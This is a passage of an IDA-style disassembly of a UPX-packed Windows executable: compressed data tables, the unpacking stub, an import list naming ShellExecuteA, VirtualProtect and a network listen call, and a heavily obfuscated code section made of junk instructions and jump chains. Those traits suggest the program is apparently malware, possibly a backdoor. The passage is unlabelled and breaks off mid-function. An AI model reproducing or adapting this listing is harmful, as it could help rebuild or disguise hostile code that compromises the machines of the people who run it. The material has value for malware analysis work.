579AC15h dd 0E6FFFB7Eh, 9AC51918h, 43017BC9h, 2172AB42h, 411A4B71h dd 444113A5h, 0DF2C17D8h, 7149110Ch, 0F477AEF3h, 0D85F9B3h dd 11AF4201h, 0DCD3B781h, 5176F99Dh, 2A6BB941h, 109B062h dd 0B7DE78C2h, 20DD8044h, 0AFC7D122h, 0FF6E4552h, 23540DE5h dd 77086863h, 136C90h, 6FC6400h, 0B7F83315h, 6400ED84h dd 1115AAF5h, 9A31FD92h, 0DA13FB64h, 0E7B497Fh, 154C98FDh dd 0C2CB1998h, 98E32368h, 1B430574h, 0DB1BF046h, 6954988Bh dd 441541E9h, 0E81564EEh, 78D97F0Eh, 0E992F177h, 0D4941E15h dd 341C7B90h, 14AC87B6h, 2E09549Eh, 0EFFB7213h, 0D169676Fh dd 2CAB0936h, 494D7AC2h, 951E510Dh, 0B7B3379Ch, 0A61D184Dh dd 0FF56051Ch, 77FFECFFh, 65D1944Dh, 50D99A0Fh, 9C424665h dd 1E40015Ch, 0AFA8AB0Dh, 0FCBBDAE4h, 511B2BBBh, 4D0FD4FAh dd 7B8CD482h, 5F77C955h, 9AF17F68h, 0BAC69AEDh, 0BA48654Bh dd 4340ECF3h, 2FFE4143h, 760066FFh, 3785E03Dh, 42D6EF49h dd 0C710AB41h, 1EFBCF25h, 3D0BD65Bh, 36DE4296h, 0BB831D76h dd 94FC8FDBh, 0AB162047h, 0D01D57ABh, 0A7F21109h, 0B9CF02F7h dd 5D1C563Ah, 0B036BDDh, 9A419B27h, 0ED19313Dh, 43E0F9DAh dd 0CDDA9676h, 9EC7CB00h, 3FFEC391h, 888F6F04h, 0BAD8EDCAh dd 0A0E2F7C4h, 0FFEC1FAFh, 0C7C2F92Fh, 0CFB89395h, 0CEB18FEDh dd 0ECB5FBBDh, 0CF80AA83h, 40FFFC43h, 9FC6C63Eh, 0AB87FDD2h dd 0E1ECB8CAh, 89A284ABh, 9F92C006h, 119290CFh, 0D42189E7h dd 0B1DDBAFFh, 0C4A7BDE4h, 630A8FA6h, 0E2700081h, 77C373h dd 536AF417h, 83644CBAh, 64247B04h, 9BBF213Eh, 0C9949700h dd 0C211BECCh, 0C31193C4h, 58421E0Ah, 90B45017h, 9D8DF607h dd 9FEDD1B4h, 0C3C739B7h, 0A73B2AB1h, 0A8001A43h, 5E566D8Bh dd 38E84407h, 0DCF122CDh, 3E61509Fh, 0FE00B87h, 0A207A009h dd 4258583Ch, 0D858703Eh, 1F133729h, 8F553896h, 5E112B15h dd 0F03E16B5h, 0DD0A12C4h, 50964211h, 7FD351B0h, 60549160h dd 32310A8Ah, 3FC24C15h, 1AEB314Dh, 0CD2B4402h, 60762146h dd 623B79A7h, 4596CF22h, 0D0620378h, 765BA827h, 62541820h dd 7B02B67Eh, 2C8FAD0Fh, 312B6D2Bh, 1C123D10h, 52AB0F64h dd 6B0470C2h, 0CB0150D7h, 333E905Ch, 0FAA3DEDh, 0B8657810h dd 122C05E6h, 0F81B65B1h, 982038BFh, 0DD7D1789h, 2B403B33h dd 72A6A3h, 595B236Ch, 365A3A73h, 23473980h, 61807D79h dd 812D5724h, 6D43AB1Ah, 54D837B4h, 4BC6225h, 0A3066209h dd 0D578548Ah, 5A0A9274h, 981B1FCAh, 60211055h, 25113972h dd 6EF081A4h, 8AA110AAh, 6615D2CFh, 0B3DA9815h, 0D902F264h dd 3BC16612h, 6C398EADh, 852D0458h, 3B062058h, 64720919h dd 0C652687Ch, 51C25AC2h, 0E3B78A23h, 0AE58C00Dh, 2C64B03Ah dd 7833036Bh, 97B24AFh, 561A751Bh, 25BC0475h, 74200DDEh dd 0EE6507FFh, 683C5B61h, 6B272250h, 75292550h, 0E97EA5FFh dd 0B5777954h, 43567976h, 24793D76h, 67557D44h, 0A5FC1122h dd 57B76382h, 4957247Dh, 78624D41h, 16C0680Bh, 303F60h dd 0D9580268h, 2776C716h, 0B3005478h, 3105EB56h, 2E30606Ch dd 0F46E5004h, 42DD3438h, 504B15Eh, 1852DFF7h, 6061B23Fh dd 28A3522Dh, 2D0C011Dh, 70230F44h, 314D934Dh, 42C7A4Dh dd 6ABB6366h, 406C961Ch, 45E63E4Ch, 0A411931h, 0C1485016h dd 6C968804h, 0C8344521h, 0A64336C5h, 13055102h, 855B76A6h dd 3C41AF1Fh, 3097342Ch, 0D157B817h, 950F570Fh, 41386606h dd 0EC2F0F71h, 0D96DF95h, 4A344A00h, 4B0C4C4Fh, 361B0D98h dd 0C3333B43h, 13824ECAh, 0A5D9DB4Ah, 0CAB290ECh, 0D0911460h dd 82653296h, 401F5A7Dh, 31301830h, 0AFD231F2h, 1F868210h dd 502B5458h, 0C1D86A78h, 45527EEAh, 127D4131h, 9CAE0C02h dd 0CB6013DDh, 132B0586h, 9220365Bh, 0D95C314Dh, 0F607057Dh dd 85759C6h, 4078554Ah, 46A4AC2Ch, 172D01D7h, 73EA55Bh dd 8D149706h, 63719B3h, 0BD92358h, 745BBC2Eh, 24882720h dd 0EC77EF24h, 5C7F61D8h, 54315F42h, 580E3CF9h, 5FCB855h dd 73DA980h, 20292873h, 874D7228h, 31C7EC2Dh, 0FD65013Ch dd 71598488h, 2674241Fh, 0B8AC574h, 212165BBh, 255E63h dd 0B6CAA673h, 694C5CCCh, 77901B81h, 20332475h, 1B8C09C7h dd 6934B411h, 563D1F5Bh, 0BC640F18h, 1437610Fh, 0A04B7EFFh dd 9D00C13Ch, 7A034328h, 63663058h, 238048CBh, 0DD6D6074h dd 0B88E0A30h, 0C2647447h, 21A1780Ah, 313A3AF4h, 28142168h dd 39637F77h, 18AB8A98h, 4E423758h, 10D7107Ch, 0D5545BB7h dd 7008775Eh, 95818163h, 1CB4BD4Ah, 13362BBFh, 7F1EA480h dd 1608B0D5h, 0D6635782h, 47EDB58Bh, 58056765h, 0C96787DBh dd 0A27B4822h, 0AB716B42h, 4D8B8C14h, 0A2CB427h, 0EA5BB2D8h dd 0C3206164h, 660DCCA5h, 4B4C74DFh, 0C0A1099Ch, 4AD713CCh dd 18A3A86Ch, 0C81B1709h, 95D34D30h, 919D03B3h, 60C83269h dd 750727A7h, 8320C84Dh, 2D55410Ch, 320C82F9h, 390B2125h dd 6C19064h, 1D090731h, 19072720h, 0E5C9ED15h, 0E4F2720Ch dd 0C9F9D0EDh, 0C832C1F1h, 0D5DD8320h, 0E41C9CA9h, 0B9BD430Bh dd 0C832B1C9h, 81898320h, 83203699h, 7D69910Ch, 8320C833h dd 454D750Ch, 320C8080h, 820555Dh, 9B5B0700h, 105E8DEh dd 588C3383h, 51613152h, 131BA2C3h, 0B1851483h, 0EFD7755Fh dd 0E4E6C564h, 64310760h, 0BB7D723Ch, 0D06B8407h, 62070C29h dd 8ED32D68h, 3C13BB12h, 99AA9252h, 2BB7A368h, 3C59420Bh dd 132628DCh, 0B836F8Dh, 613EBB24h, 0E8057811h, 8A4D13B6h dd 7D0277DAh, 0C3839CD1h, 5BCC3F07h, 0F20BD150h, 7688A2Dh dd 899F063Ch, 650321E6h, 97BC6431h, 2CDA8969h, 9AF0E7Ah dd 0B0DC9057h, 132C2C67h, 306C8908h, 5F13DE02h, 0C4134F2Ch dd 3115376Ch, 5A944D2Bh, 78F7BDF4h, 0A3506877h, 81835C07h dd 48BDF660h, 8B07610Bh, 37B37CB4h, 42084F6Dh, 5A985E61h dd 61C0CA9h, 9AC949F8h, 2BF60A30h, 0EF584D62h, 64482F89h dd 1D747732h, 802C196Ch, 62428E7Dh, 3810267Fh, 23B78DA2h dd 0F6448F96h, 0CBEB2833h, 17FC6183h, 85A24B0Ah, 0EEF7DFABh dd 6403A5BDh, 1FFFFF8Ch, 8FB0D30Ch, 0C9C7BE18h, 0C9FC29E8h dd 234C49DFh, 6543FECCh, 0C8CCC7C0h, 0D4B39E99h, 136C90E0h dd 83DB8843h, 51001127h, 0D0A2BFC9h, 0E0CEC994h, 0A3E34311h dd 1D735A5Ah, 0F2545310h, 0C49284FFh, 0EDD8E0C2h, 0A3EDBD81h dd 9822CD9h, 0CECEB7FFh, 0CAB1C5E3h, 12DF01ADh, 742F8207h dd 0A2186178h, 8396C103h, 97406C6h, 45EBA03Eh, 61D9517Dh dd 173662C6h, 1A17A145h, 72877F07h, 2598283Dh, 0ABE588F4h dd 5837207Ah, 5DC8D92Bh, 69054D8Ch, 6226934h, 0B8203FF8h dd 2C717903h, 459ECE1Ah, 749F010Ah, 297F3FD7h, 8C03A2Bh dd 3F5063ADh, 4E47502Eh, 81AAA4FDh, 20744E60h, 81A6751h dd 0C1F3606h, 19A32A4Eh, 0DD1EB70Ah, 81651168h, 2AA016FAh dd 0FF00AEA1h, 52500041h, 2464FF68h, 0FFFF68F0h, 0FF589BFFh dd 408B50D4h, 95B005F2h dd 850F95F6h, 0FFBB8101h, 4167F168h, 1000BF00h, 0FFB73440h dd 0B900F6h, 37800970h, 0CF394753h, 8011F875h, 5D20E041h dd 0E811F235h, 0B08AC351h, 0FF0E5101h, 0E42A39BFh, 16030h dd 74654701h, 73726556h, 0FBA56F69h, 456EF23Fh, 6F4C4178h dd 656C6163h, 6F666E49h, 0EEF6530Fh, 7543FFB7h, 6E657272h dd 5694474h, 726F7463h, 736C1579h, 76227274h, 6ED9FF60h dd 6E69572Fh, 73776F64h, 0CD0A431Fh, 5082ADDAh, 22236946h dd 0FEF65BF6h, 6D695409h, 190C4F65h, 0DE4A7953h, 65EC0DBFh dd 617E3B6Dh, 62694C64h, 5B0D6172h, 22FDBDBBh, 41907250h dd 73216464h, 69A40F73h, 62C7D97Bh, 6F430C10h, 4C647970h dd 7B374A61h, 0AA456D6Bh, 72570D45h, 0EC707E69h, 48B7B6C9h dd 8E506863h, 69509768h, 0DF807C70h, 4FD9D9B2h, 656D6F12h dd 802342EDh, 0A0614E10h, 70085B30h, 0B60F20B3h, 0B6C31A6Bh dd 4364EC97h, 23643490h, 6E566EB6h, 7A6552BFh, 75194D1Dh dd 0DC2BD96Fh, 2161480Ah, 2C2011A5h, 6260DB61h, 3C6E484Fh dd 50CE0B0Ch, 10164D18h, 776568C0h, 7097CACBh, 6D726554h dd 6F6C9B8Ch, 12F0A173h, 41575A66h, 243B9874h, 0C05CFDA1h dd 106544ACh, 6D86A285h, 0CE46D523h, 7FFBD465h, 6CE1AD73h dd 6D6E550Dh, 69567061h, 664F7765h, 0B096EB6h, 0CB0E4D3Bh dd 0F6DACF18h, 678270B6h, 4D627AC7h, 7F7453A1h, 1E6C2617h dd 73C63C75h, 7053626Bh, 0C3B6DD61h, 444EA268h, 796C7690h dd 170B0A70h, 63F9FF82h, 75752F6Bh, 0DDBB46B5h, 0D375510Dh dd 68035079h, 75ADB2DAh, 3A31C6ADh, 79081271h, 30DDA11Ah dd 0D96531B6h, 0B4427349h, 84B6486Fh, 0CC14E816h, 0D0B6EDB9h dd 99698DB5h, 72317A69h, 0C3820009h, 5853F2D1h, 29F7EFDCh dd 2F49DD7Bh, 442A5545h, 106C7075h, 4206310Ch, 0BC595D74h dd 12619E9Eh, 0E2654D11h, 905B630Bh, 9873596h, 5B765A16h dd 0D51ADBA3h, 56706D4Dh, 76629482h, 860ECC68h, 44906223h dd 0D91A59A7h, 0F197A576h, 6EDDEE00h, 4167091Bh, 6C3A6D75h dd 0FC0E3775h, 0CE09B011h, 654B3910h, 0C22C5879h, 330E683Bh dd 2CD8111Eh, 0FB66E61h, 21732B8h, 55A36EC6h, 74A2E973h dd 50D75852h, 6D456272h, 1474DB6Eh, 2979AC1Ch, 61526EE2h dd 63410F6Dh, 2B586CC7h, 5924D9A5h, 0B366B58Bh, 0FEC058BDh dd 0D95F6114h, 2B9C15CEh, 94F006C9h, 0B42C0AF2h, 7843E196h dd 7E2BA878h, 9ABB707Fh, 3F6A27E3h, 1B74313Fh, 40406E2Ch dd 0FDCF1AE0h, 40454155h, 2A295A58h, 0C6C3990Eh, 0EA819866h dd 766D6D0Ah, 0DCD1EF7Dh, 48236404h, 0B6C50602h, 766C9BC2h dd 4C706E73h, 0DE2A6692h, 6F8B5B7Bh, 3B77957Fh, 0FBE61032h dd 7420CDFFh, 41594032h, 49584150h, 330D5A40h, 0B9ED61EDh dd 470D0E58h, 0D7625F25h, 70C5AEB1h, 0FE85909h, 0DBEEB665h dd 685FD9DAh, 0E113392h, 68667A69h, 6B619D6Dh, 31691D06h dd 63756C2Ch, 8D9B2DCEh, 98F56E73h, 5B2E0213h, 730776D7h dd 610F4363h, 73666938h, 0B9C330A1h, 6C10654h, 0EEAF7D5h dd 5163069Dh, 7CA7707h, 35ACDAC5h, 35C95704h, 75CC97E2h dd 25071DAEh, 75B33B63h, 877BDEEBh, 5507201Dh, 74946D3Dh dd 0B62C0C13h, 0CD699C94h, 0AE2E59B6h, 0FFC80109h, 0D0160BC8h dd 0FB828D1h, 6C6853BAh, 381D93A4h, 41E2D6CDh, 0C9D82217h dd 285A6813h, 8D721504h, 0E179F664h, 43914F0Bh, 6C417211h dd 754E1770h, 8EB0416Dh, 7712EB42h, 0C66B5891h, 2D542181h dd 0B4DB3B49h, 85E60C5h, 67618B4Dh, 9ED96568h, 0F48C2DEEh dd 1970204h, 96596596h, 13021516h, 96590A05h, 0C175965h dd 65386F33h, 12659659h, 34097003h, 96596596h, 8100B06h dd 0A3B67414h, 0FD115B7Ch, 49415357h, 239FF25h, 0CB4EDCBBh dd 3630D73h, 14C4550h, 99FF486Ah, 0CFC4C07Bh, 0E00009h dd 10B010Fh, 10528206h, 8200ECDBh, 8B020913h, 376CDD66h dd 40001370h, 1E04120Bh, 0C96B2ECDh, 2141707h, 0B788CB10h dd 90702ECh, 805DB67h, 173C8F9h, 70A7A000h, 0DDD91E02h dd 0B62E0AE9h, 15FE707h, 0C2E1B890h, 2304EBBEh, 722E0A20h dd 6B043C64h, 23616AD8h, 6403FB0Eh, 0ECB9AF7Dh, 262E4002h dd 253F70CFh, 8027D34Dh, 53C07460h, 0D9595243h, 50C21B67h dd 4BA00454h, 0F07701D4h, 3D1BA365h, 3766E02h, 207h, 0 dd 0FF004800h, 7000BE60h, 0BE8D0041h, 0FFFEA000h, 0FFCD8357h dd 909010EBh, 90909090h, 8846068Ah, 0DB014707h, 1E8B0775h dd 11FCEE83h, 0B8ED72DBh, 1, 775DB01h, 0EE831E8Bh, 11DB11FCh dd 73DB01C0h, 8B0975EFh, 0FCEE831Eh, 0E473DB11h, 0E883C931h dd 0C10D7203h, 68A08E0h, 0FFF08346h, 0C5897474h, 775DB01h dd 0EE831E8Bh, 11DB11FCh, 75DB01C9h, 831E8B07h, 0DB11FCEEh dd 2075C911h, 75DB0141h, 831E8B07h, 0DB11FCEEh, 0DB01C911h dd 975EF73h, 0EE831E8Bh, 73DB11FCh, 2C183E4h, 0F300FD81h dd 0D183FFFFh, 2F148D01h, 76FCFD83h, 42028A0Fh, 49470788h dd 63E9F775h, 90FFFFFFh, 0C283028Bh, 83078904h, 0E98304C7h dd 1F17704h, 0FF4CE9CFh, 895EFFFFh, 2BB9F7h, 78A0000h dd 3CE82C47h, 8BF77701h, 45F8A07h, 0C0C1C486h, 29C48610h dd 0E8EB80F8h, 789F001h, 8805C783h, 8DE0E2D8h, 20000BEh dd 9078B00h, 8B4574C0h, 848D045Fh, 2200030h, 50F30100h dd 0FF08C783h, 220A096h, 78A9500h, 74C00847h, 79F989DCh dd 7B70F07h, 0B9475047h, 0AEF24857h, 0A496FF55h, 9000220h dd 890774C0h, 4C38303h, 96FFD8EBh, 220ACh, 20A8AE8Bh, 0BE8D0002h dd 0FFFFF000h, 1000BBh, 6A545000h, 0FF575304h, 0F878DD5h dd 80000002h, 60807F20h, 50587F28h, 57535054h, 6158D5FFh dd 8024448Dh, 0C439006Ah, 0EC83FA75h, 0D19FE980h, 0FFFFh dd 67h dup(0) UPX1 ends ; Section 3. (virtual address 00023000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0000C400 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write UPX2 segment para public 'DATA' use32 assume cs:UPX2 ;org 423000h dd 3 dup(0) dd 230E4h, 230A0h, 3 dup(0) dd 230F1h, 230B4h, 3 dup(0) dd 230FEh, 230BCh, 3 dup(0) dd 23109h, 230C4h, 3 dup(0) dd 23116h, 230CCh, 3 dup(0) dd 23122h, 230D4h, 3 dup(0) dd 2312Dh, 230DCh, 5 dup(0) UPX2 ends ; ; Imports from KERNEL32.DLL ; ; =========================================================================== ; Segment type: Externs ; _idata ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn LoadLibraryA:dword ; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName) extrn GetProcAddress:dword ; BOOL __stdcall VirtualProtect(LPVOID lpAddress,SIZE_T dwSize,DWORD flNewProtect,PDWORD lpflOldProtect) extrn VirtualProtect:dword ; void __stdcall ExitProcess(UINT uExitCode) extrn ExitProcess:dword ; ; Imports from ADVAPI32.dll ; ; LSTATUS __stdcall RegCloseKey(HKEY hKey) extrn RegCloseKey:dword ; ; Imports from MSVCRT.dll ; extrn ceil:dword ; ; Imports from OLEAUT32.dll ; ; HRESULT __stdcall GetErrorInfo(ULONG dwReserved,IErrorInfo **pperrinfo) extrn GetErrorInfo:dword ; ; Imports from SHELL32.dll ; ; HINSTANCE __stdcall ShellExecuteA(HWND hwnd,LPCSTR lpOperation,LPCSTR lpFile,LPCSTR lpParameters,LPCSTR lpDirectory,INT nShowCmd) extrn ShellExecuteA:dword ; ; Imports from USER32.dll ; ; int wsprintfA(LPSTR,LPCSTR,...) extrn wsprintfA:dword ; ; Imports from WS2_32.dll ; ; int __stdcall listen(SOCKET s,int backlog) extrn listen:dword ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write UPX2 segment para public 'DATA' use32 assume cs:UPX2 ;org 4230E4h aKernel32_dll db 'KERNEL32.DLL',0 aAdvapi32_dll db 'ADVAPI32.dll',0 aMsvcrt_dll db 'MSVCRT.dll',0 aOleaut32_dll db 'OLEAUT32.dll',0 aShell32_dll db 'SHELL32.dll',0 aUser32_dll db 'USER32.dll',0 aWs2_32_dll db 'WS2_32.dll',0 dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h dd 65726464h, 7373h, 74726956h, 506C6175h, 65746F72h, 7463h dd 74697845h, 636F7250h, 737365h, 65520000h, 6F6C4367h dd 654B6573h, 79h, 6C696563h, 68530000h, 456C6C65h, 75636578h dd 416574h, 73770000h, 6E697270h, 416674h, 17h dup(0) align 1000h UPX2 ends ; Section 4. (virtual address 00024000) ; Virtual size : 0000D000 ( 53248.) ; Section size in file : 0000C04B ( 49227.) ; Offset to raw data for section: 0000C600 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute wto1jq8f segment para public 'CODE' use32 assume cs:wto1jq8f ;org 424000h ; START OF FUNCTION CHUNK FOR sub_42CFE2 assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing loc_424000: ; CODE XREF: sub_42CFE2:loc_42E75Bj jnz loc_42BF6F call sub_427A9E call sub_424585 mov edx, 0CF0182F6h call sub_426C04 mov ds:dword_42DB0C, eax jmp loc_42BF6F ; END OF FUNCTION CHUNK FOR sub_42CFE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_424024: ; CODE XREF: sub_42A909+6AAj rol ebx, 0Bh loc_424027: ; CODE XREF: sub_42A909:loc_42B297j push esi push 291D3546h pop esi and esi, 0C19A98D3h rol esi, 1Ah add esi, 0F83E1561h xchg esi, [esp+4+var_4] jmp sub_4264F4 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- push eax and ebx, 0A2CAF055h jmp sub_42B5C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_424051: ; CODE XREF: sub_426535-A9Cj xchg esi, [esp+0] push 0 push 10h mov eax, [ebp+8] push offset loc_42CD61 jmp loc_427FE9 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- mov eax, ecx jmp sub_42D368 ; --------------------------------------------------------------------------- mov edx, 9E99B23Eh call sub_429165 push eax rol eax, 17h mov ds:dword_42E528, eax retn ; --------------------------------------------------------------------------- loc_424081: ; CODE XREF: wto1jq8f:0042E207j jmp loc_427CA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_424086: ; CODE XREF: sub_429B76:loc_42A0ACj push eax call sub_42408D retn ; END OF FUNCTION CHUNK FOR sub_429B76 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42408D proc near ; CODE XREF: sub_429B76-5AEFp ; FUNCTION CHUNK AT 0042598D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428EEF SIZE 00000005 BYTES push ebp mov ebp, esp push ecx jmp loc_428EEF sub_42408D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D44C loc_424097: ; CODE XREF: sub_42D44C+13j mov eax, [ebp-14h] mov [ebp-0Ch], eax mov eax, [ebp-20h] movzx eax, byte ptr [eax] mov [ebp-1Ch], eax inc dword ptr [ebp-20h] jmp loc_426EC4 ; END OF FUNCTION CHUNK FOR sub_42D44C ; --------------------------------------------------------------------------- xor ebp, 0B946E1FDh jmp sub_425944 ; --------------------------------------------------------------------------- mov eax, 0A41EFBE4h jmp sub_42CF6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_4240C3: ; CODE XREF: sub_42C486:loc_42955Cj jmp loc_427181 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- jmp loc_428361 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_4240CD: ; CODE XREF: sub_42C486:loc_42E7BBj call sub_426144 loc_4240D2: ; CODE XREF: sub_4294F4+621Bj jmp loc_42C2B3 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D397 loc_4240D7: ; CODE XREF: sub_42D397+1j jmp loc_42BAF1 ; END OF FUNCTION CHUNK FOR sub_42D397 ; =============== S U B R O U T I N E ======================================= sub_4240DC proc near ; CODE XREF: wto1jq8f:0042CA6Fj ; sub_4276C3:loc_42E2F5p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424DFD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425A7E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425CCE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00427158 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428106 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C2CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CC60 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0042D0D8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042F728 SIZE 00000015 BYTES mov [esp+0], eax pop eax push 2 push 0F08CCD4Bh pop eax jmp loc_42CC60 sub_4240DC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB75 loc_4240ED: ; CODE XREF: sub_42BB75:loc_42AFC8j mov ebp, offset sub_4240F6 xchg ebp, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42BB75 ; =============== S U B R O U T I N E ======================================= sub_4240F6 proc near ; DATA XREF: sub_42BB75:loc_4240EDo push offset sub_429471 jmp nullsub_202 sub_4240F6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FFBA loc_424100: ; CODE XREF: sub_42FFBA+Cj jz loc_42911E jmp loc_424FA8 ; END OF FUNCTION CHUNK FOR sub_42FFBA ; --------------------------------------------------------------------------- cmp edx, ebp jmp loc_42832D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_424112: ; CODE XREF: sub_426E98:loc_42C3F3j add eax, 0FF41A268h add eax, ebp add eax, 0C313D3Bh push offset sub_427A30 jmp loc_4274E5 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- loc_42412A: ; CODE XREF: wto1jq8f:0042E21Dj add ecx, 0F7F7467Dh ; START OF FUNCTION CHUNK FOR sub_42CF6A loc_424130: ; CODE XREF: sub_42CF6A+4j xor edx, 606E79AAh and edx, esi adc esi, edi jmp loc_42601E ; END OF FUNCTION CHUNK FOR sub_42CF6A ; --------------------------------------------------------------------------- loc_42413F: ; DATA XREF: sub_4263B3-1CF9o xchg ebx, [esp] jmp sub_424585 ; --------------------------------------------------------------------------- loc_424147: ; CODE XREF: wto1jq8f:loc_42E52Cj push edi mov [esp], eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42414C proc near ; CODE XREF: wto1jq8f:00424C83p ; sub_4266EF+57E2p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042485F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428E20 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042BD7C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042E3E0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F853 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FE5B SIZE 0000001C BYTES push ebp mov ebp, esp jmp loc_42FE5B sub_42414C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262CE loc_424154: ; CODE XREF: sub_4262CE:loc_42817Ej pop ecx sub ecx, 0A13AB98Eh add ecx, 9FC2DA0h push offset sub_42DF80 jmp nullsub_251 ; END OF FUNCTION CHUNK FOR sub_4262CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42416B: ; CODE XREF: sub_426535:loc_42D3BFj jnz loc_424934 jmp loc_429B06 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- mov ebx, eax or edx, 2CDC585Ah jmp sub_42EDB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_424183: ; CODE XREF: wto1jq8f:00425D3Fj ; sub_4267AE+Bj ... jno loc_427BB8 call sub_42CB36 test al, al jz loc_42E993 jmp loc_42A0C8 ; END OF FUNCTION CHUNK FOR sub_429B76 ; =============== S U B R O U T I N E ======================================= sub_42419B proc near ; CODE XREF: sub_428BC4-DDBp ; wto1jq8f:004281FCj arg_0 = dword ptr 4 mov [esp+0], eax pop eax xchg ecx, [esp-4+arg_0] retn sub_42419B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429308 loc_4241A3: ; CODE XREF: sub_429308+Bj call sub_425C5F loc_4241A8: ; CODE XREF: wto1jq8f:0042E1C7j jmp loc_424527 ; END OF FUNCTION CHUNK FOR sub_429308 ; =============== S U B R O U T I N E ======================================= sub_4241AD proc near ; DATA XREF: sub_4244EA+B872o ; FUNCTION CHUNK AT 0042FBEF SIZE 0000000E BYTES push ecx push 66B40230h pop ecx rol ecx, 7 jmp loc_42FBEF sub_4241AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F9CA loc_4241BC: ; CODE XREF: sub_42F9CA+7j mov edx, edi pop edi pop ecx pop eax jmp loc_425A67 ; END OF FUNCTION CHUNK FOR sub_42F9CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_4241C6: ; CODE XREF: sub_42A909+994j cmp edi, eax jmp loc_42AFA5 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_4241CD: ; CODE XREF: sub_42AA68:loc_42A486j jnz loc_42AE7F jmp loc_4270DC ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- adc edi, eax jmp sub_42BB58 ; --------------------------------------------------------------------------- loc_4241DF: ; CODE XREF: wto1jq8f:0042A8E6j add ebx, 98D2CBA8h xchg ebx, [esp] jmp sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_4241ED: ; CODE XREF: sub_42E9E8-6691j push 0B2F7055h pop ebx add ebx, 0F51320FBh xchg ebx, [esp+0] jmp loc_42D289 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_424201: ; CODE XREF: sub_426535:loc_42C66Bj push 7A3D2B78h jmp loc_42A167 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42420B: ; CODE XREF: sub_42506F+6F48j jnz loc_42C356 ; END OF FUNCTION CHUNK FOR sub_42506F ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_424211: ; CODE XREF: sub_4282C1+10j jmp loc_42E850 ; END OF FUNCTION CHUNK FOR sub_4282C1 ; --------------------------------------------------------------------------- or eax, ecx mov ecx, edi add esi, 97664A10h jmp loc_42C356 ; --------------------------------------------------------------------------- test ebp, edx jmp loc_42F7A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429F7D loc_42422C: ; CODE XREF: sub_429F7D:loc_429F70j jnz loc_42B6CF ; END OF FUNCTION CHUNK FOR sub_429F7D ; =============== S U B R O U T I N E ======================================= sub_424232 proc near ; CODE XREF: sub_4270C0+6p ; FUNCTION CHUNK AT 